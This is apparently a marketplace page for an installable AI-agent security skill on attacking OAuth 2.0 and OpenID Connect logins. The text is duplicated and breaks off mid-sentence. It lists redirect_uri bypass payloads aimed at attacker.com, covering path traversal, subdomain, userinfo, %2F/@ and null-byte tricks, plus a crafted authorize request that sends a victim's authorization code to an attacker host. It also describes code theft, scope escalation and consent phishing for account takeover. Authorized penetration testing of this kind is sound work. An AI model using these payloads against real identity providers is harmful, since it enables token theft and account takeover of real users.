/attacking-oauth-oidc
Attack OAuth 2.0 and OpenID Connect flows — enumerate endpoints from the OIDC discovery document, break redirect_uri validation with path traversal, open-redirect chaining, subdomain and regex weakness, and %2F/@ parser tricks, exploit missing state (callback CSRF) and absent or
$ npx -y skills add trilwu/secskills --skill attacking-oauth-oidc --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/attacking-oauth-oidc
Context preview
The summary Claude sees to decide when to auto-load this skill.
Attack OAuth 2.0 and OpenID Connect flows — enumerate endpoints from the OIDC discovery document, break redirect_uri validation with path traversal, open-redirect chaining, subdomain and regex weakness, and %2F/@ parser tricks, exploit missing state (callback CSRF) and absent or
SKILL.md
attacking-oauth-oidc.SKILL.mdname: attacking-oauth-oidc
description: Attack OAuth 2.0 and OpenID Connect flows — enumerate endpoints from the OIDC discovery document, break redirect_uri validation with path traversal, open-redirect chaining, subdomain and regex weakness, and %2F/@ parser tricks, exploit missing state (callback CSRF) and absent or downgraded PKCE, steal codes and tokens via open redirectors and referer leakage, replay and inject authorization codes across clients, escalate scope and bypass consent, confuse access_token with id_token, and take over accounts through "Sign in with X" email trust and device-code consent phishing. Use when you see /authorize, /oauth/token, response_type, redirect_uri, client_id, code= or state= parameters, a "Sign in with Google/Microsoft/GitHub" button, or an OIDC discovery document at /.well-known/openid-configuration.
verified: 2026-07-26
Attacking OAuth and OIDC
OAuth is a delegation protocol whose security lives entirely in parameters the browser forwards — `redirect_uri`, `state`, and `scope` — so most breaks are the authorization server or the client trusting one of those a little too much. The token is the prize; the flow is the attack surface. Follow the redirect that carries the code, and you follow the credential.
Only against systems you are authorized to test.
When to Use
- A login page offers "Sign in with Google / Microsoft / GitHub / Apple" or any
federated identity button
- You see `/authorize`, `/oauth/token`, `/oauth2/authorize`, or a callback URL
carrying `code=`, `state=`, or `#access_token=`
- Requests contain `response_type`, `redirect_uri`, `client_id`, `scope`, or
`nonce`
- An OIDC discovery document is served at `/.well-known/openid-configuration`
- The app exchanges an authorization code server-side for tokens, or accepts an
`id_token` to establish a session
- A first-party SPA or mobile app runs the authorization-code-with-PKCE flow
When NOT to Use
- **Forging, cracking, or tampering with the issued token itself** (alg confusion,
`kid` injection, weak HMAC secret, `none`) — use `attacking-jwt`
- **General web application testing** unrelated to the auth flow — use
`testing-web-applications`
- **The resource API after you already hold a valid access token** — use
`testing-apis`
- **Entra/Azure AD tenant consent, app registration abuse, and multi-tenant app
attacks specifically** — use `attacking-entra-id`
- **The human side — running consent-phishing or illicit-grant campaigns at
scale against real users** — use `performing-social-engineering`
Enumerate the Server: Discovery Document First
The OIDC discovery document hands you the entire attack map — every endpoint, the supported flows, and the key set.
curl -s https://target/.well-known/openid-configuration | jq .
# Also try, per-tenant / per-realm:
# https://target/.well-known/oauth-authorization-server
# https://login.target/<tenant>/v2.0/.well-known/openid-configuration
# https://target/auth/realms/<realm>/.well-known/openid-configuration (Keycloak)
Read these fields specifically:
- `authorization_endpoint`, `token_endpoint`, `userinfo_endpoint` — the flow
- `jwks_uri` — the keys that validate `id_token`s (feeds `attacking-jwt`)
- `response_types_supported` — is `token` or `id_token token` (implicit)
allowed? Is `code` the only option, or can you downgrade?
- `grant_types_supported` — is `implicit`, `password`, or
`urn:ietf:params:oauth:grant-type:device_code` present?
- `code_challenge_methods_supported` — if absent, PKCE may not be enforced
- `scopes_supported`, `claims_supported` — the escalation menu
Pull the client bundle too: SPA JavaScript almost always inlines the `client_id`, the configured `redirect_uri`, and the scope list.
redirect_uri Validation: The Core Break
Everything hinges on where the authorization server is willing to send the code. If you can make it send the code to a host you control, the flow is over. Work through the validation weaknesses — a permissive registration or a prefix/substring match instead of an exact match is the standard finding.
Registered: https://app.example.com/callback
Path traversal / appended path (prefix match, not exact)
https://app.example.com/callback/../../attacker
https://app.example.com/callback/anything (allowed if it startswith-checks)
https://app.example.com/callback.attacker.com/
Subdomain / domain-suffix weakness (regex or "endswith" match)
https://attacker.app.example.com/callback
https://app.example.com.attacker.com/callback
https://appXexample.com/callback (unescaped . in regex)
Parser confusion — validator and browser disagree on the host
https://attacker.com\@app.example.com/callback
https://app.example.com@attacker.com/callback
https://attacker.com%2F@app.example.com/
https://attacker.com#@app.example.com/
https://attacker.com%23.app.example.com/
Scheme / userinfo / whitespace
http://app.example.com/callback (downgrade to plaintext)
https://app.example.com%00.attacker.com/callback
///attacker.com/callback //attacker.com/callback
localhost is frequently allow-listed with no port check
http://localhost:1337/callback http://127.0.0.1/callback
http://localhost.attacker.com/callback
An authorize request pointing the code at your host:
GET /authorize?response_type=code
&client_id=REAL_CLIENT_ID
&redirect_uri=https://attacker.com/callback
&scope=openid%20email%20profile
&state=xyz HTTP/1.1
Host: login.targetIf that returns a code to `attacker.com`, you exchange it (or the victim's browser delivers theirs). Also test **each place `redirect_uri` is read** — the authorize request, the token exchange, and any stored per-client default — because some servers validate strictly at `/authorize` and loosely at `/token`, or vice versa.
Open Redirector as Exfil Channel
When `redirect_uri` must stay on the real domain, an open redirect *on t
Read more
name: attacking-oauth-oidc description: Attack OAuth 2.0 and OpenID Connect flows — enumerate endpoints from the OIDC discovery document, break redirect_uri validation with path traversal, open-redirect chaining, subdomain and regex weakness, and %2F/@ parser tricks, exploit missing state (callback CSRF) and absent or downgraded PKCE, steal codes and tokens via open redirectors and referer leakage, replay and inject authorization codes across clients, escalate scope and bypass consent, confuse access_token with id_token, and take over accounts through "Sign in with X" email trust and device-code consent phishing. Use when you see /authorize, /oauth/token, response_type, redirect_uri, client_id, code= or state= parameters, a "Sign in with Google/Microsoft/GitHub" button, or an OIDC discovery document at /.well-known/openid-configuration. verified: 2026-07-26
Attacking OAuth and OIDC
OAuth is a delegation protocol whose security lives entirely in parameters the browser forwards — `redirect_uri`, `state`, and `scope` — so most breaks are the authorization server or the client trusting one of those a little too much. The token is the prize; the flow is the attack surface. Follow the redirect that carries the code, and you follow the credential.
Only against systems you are authorized to test.
When to Use
- A login page offers "Sign in with Google / Microsoft / GitHub / Apple" or any
federated identity button
- You see `/authorize`, `/oauth/token`, `/oauth2/authorize`, or a callback URL
carrying `code=`, `state=`, or `#access_token=`
- Requests contain `response_type`, `redirect_uri`, `client_id`, `scope`, or
`nonce`
- An OIDC discovery document is served at `/.well-known/openid-configuration`
- The app exchanges an authorization code server-side for tokens, or accepts an
`id_token` to establish a session
- A first-party SPA or mobile app runs the authorization-code-with-PKCE flow
When NOT to Use
- **Forging, cracking, or tampering with the issued token itself** (alg confusion,
`kid` injection, weak HMAC secret, `none`) — use `attacking-jwt`
- **General web application testing** unrelated to the auth flow — use
`testing-web-applications`
- **The resource API after you already hold a valid access token** — use
`testing-apis`
- **Entra/Azure AD tenant consent, app registration abuse, and multi-tenant app
attacks specifically** — use `attacking-entra-id`
- **The human side — running consent-phishing or illicit-grant campaigns at
scale against real users** — use `performing-social-engineering`
Enumerate the Server: Discovery Document First
The OIDC discovery document hands you the entire attack map — every endpoint, the supported flows, and the key set.
curl -s https://target/.well-known/openid-configuration | jq . # Also try, per-tenant / per-realm: # https://target/.well-known/oauth-authorization-server # https://login.target/<tenant>/v2.0/.well-known/openid-configuration # https://target/auth/realms/<realm>/.well-known/openid-configuration (Keycloak)
Read these fields specifically:
- `authorization_endpoint`, `token_endpoint`, `userinfo_endpoint` — the flow
- `jwks_uri` — the keys that validate `id_token`s (feeds `attacking-jwt`)
- `response_types_supported` — is `token` or `id_token token` (implicit)
allowed? Is `code` the only option, or can you downgrade?
- `grant_types_supported` — is `implicit`, `password`, or
`urn:ietf:params:oauth:grant-type:device_code` present?
- `code_challenge_methods_supported` — if absent, PKCE may not be enforced
- `scopes_supported`, `claims_supported` — the escalation menu
Pull the client bundle too: SPA JavaScript almost always inlines the `client_id`, the configured `redirect_uri`, and the scope list.
redirect_uri Validation: The Core Break
Everything hinges on where the authorization server is willing to send the code. If you can make it send the code to a host you control, the flow is over. Work through the validation weaknesses — a permissive registration or a prefix/substring match instead of an exact match is the standard finding.
Registered: https://app.example.com/callback Path traversal / appended path (prefix match, not exact) https://app.example.com/callback/../../attacker https://app.example.com/callback/anything (allowed if it startswith-checks) https://app.example.com/callback.attacker.com/ Subdomain / domain-suffix weakness (regex or "endswith" match) https://attacker.app.example.com/callback https://app.example.com.attacker.com/callback https://appXexample.com/callback (unescaped . in regex) Parser confusion — validator and browser disagree on the host https://attacker.com\@app.example.com/callback https://app.example.com@attacker.com/callback https://attacker.com%2F@app.example.com/ https://attacker.com#@app.example.com/ https://attacker.com%23.app.example.com/ Scheme / userinfo / whitespace http://app.example.com/callback (downgrade to plaintext) https://app.example.com%00.attacker.com/callback ///attacker.com/callback //attacker.com/callback localhost is frequently allow-listed with no port check http://localhost:1337/callback http://127.0.0.1/callback http://localhost.attacker.com/callback
An authorize request pointing the code at your host:
GET /authorize?response_type=code
&client_id=REAL_CLIENT_ID
&redirect_uri=https://attacker.com/callback
&scope=openid%20email%20profile
&state=xyz HTTP/1.1
Host: login.targetIf that returns a code to `attacker.com`, you exchange it (or the victim's browser delivers theirs). Also test **each place `redirect_uri` is read** — the authorize request, the token exchange, and any stored per-client default — because some servers validate strictly at `/authorize` and loosely at `/token`, or vice versa.
Open Redirector as Exfil Channel
When `redirect_uri` must stay on the real domain, an open redirect *on t
**Security skills for Claude Code that encode the judgment professionals bring, not another wrapper around a scanner.** Offense, defense, and the reverse-engineering and code-audit core both sides share. Every skill is fact-checked against primary sources.

